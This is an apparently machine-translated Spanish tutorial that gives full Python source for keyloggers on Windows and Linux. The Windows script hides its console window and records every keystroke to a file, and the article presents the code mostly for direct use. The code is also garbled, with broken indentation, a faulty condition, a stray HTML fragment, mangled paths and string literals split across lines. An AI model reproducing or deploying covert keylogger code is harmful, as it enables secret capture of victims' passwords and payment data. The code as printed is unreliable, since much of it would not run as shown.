El registro de pulsaciones de teclas, a menudo denominado registro de teclas o captura de teclado, es la acción de grabar (registrar) las teclas pulsadas en un teclado, generalmente de forma encubierta, de modo que la persona que usa el teclado no se da cuenta de que sus acciones están siendo monitoreadas.

Estos son programas de computadora diseñados para funcionar en el software de la computadora de destino. Los keyloggers se utilizan en organizaciones de TI para solucionar problemas técnicos con computadoras y redes comerciales. Las familias y los empresarios utilizan los registradores de pulsaciones de teclas de forma legal para supervisar el uso de la red sin el conocimiento directo de sus usuarios. Sin embargo, las personas malintencionadas pueden usar keyloggers en computadoras públicas para robar contraseñas o información de tarjetas de crédito.

Este artículo ilustra el diseño de keylogger para Windows y Linux.

Registrador de teclas para Windows

Descarga algunas bibliotecas de Python
1) pywin32
2) pyhook

A continuación se muestra el código para crear keylogger en python

import win32api

import win32console

import win32gui

import pythoncom, pyHook

 

win = win32console.GetConsoleWindow()

win32gui.ShowWindow(win, 0)

 

def OnKeyboardEvent(event):

    if event.Ascii==5:

        _exit(1)

    if event.Ascii !=0 or 8:

    

        f = open('c:output.txt', 'r+')

        buffer = f.read()

        f.close()

    

        f = open('c:output.txt', 'w')

        keylogs = chr(event.Ascii)

        if event.Ascii == 13:

        keylogs = '/n'

        buffer += keylogs

        f.write(buffer)

        f.close()

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

/ div>

Guarde el archivo en C: como Keylogger.py y ejecute el archivo python
Producción:
El keylogger se iniciará en segundo plano y guardará todos los datos en el archivo de registro “c: output.txt”.

Registrador de teclas en Linux

pyxhook requiere python-xlib. Instálelo si aún no lo tiene.

sudo apt-get install python-xlib

Descargar pyxhook Biblioteca

import os

import pyxhook

 

log_file = os.environ.get(

    'pylogger_file',

    os.path.expanduser('~/Desktop/file.log')

)

cancel_key = ord(

    os.environ.get(

        'pylogger_cancel',

        '`'

    )[0]

)

 

if os.environ.get('pylogger_clean', None) is not None:

    try:

        os.remove(log_file)

    except EnvironmentError:

       

        pass

 

def OnKeyPress(event):

    with open(log_file, 'a') as f:

        f.write('{}
'
.format(event.Key))

 

new_hook = pyxhook.HookManager()

new_hook.KeyDown = OnKeyPress

new_hook.HookKeyboard()

try:

    new_hook.start()        

except KeyboardInterrupt:

    

    pass

except Exception as ex:

    

    msg = 'Error while catching events:
  {}'
.format(ex)

    pyxhook.print_err(msg)

    with open(log_file, 'a') as f:

        f.write('
{}'
.format(msg))

Producción:
El keylogger se iniciará en segundo plano y guardará todos los datos en el archivo file.log “/ home / akash / Desktop”.

Referencias
https://en.wikipedia.org/wiki/Keystroke_logging

Escriba comentarios si encuentra algo incorrecto o si desea compartir más información sobre el tema discutido anteriormente.


También podría gustarte

Suscríbete a nuestro boletín

Usamos cookies para brindar y mejorar nuestros servicios. Al utilizar nuestro sitio, acepta nuestra Política de cookies.


Aprende más

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *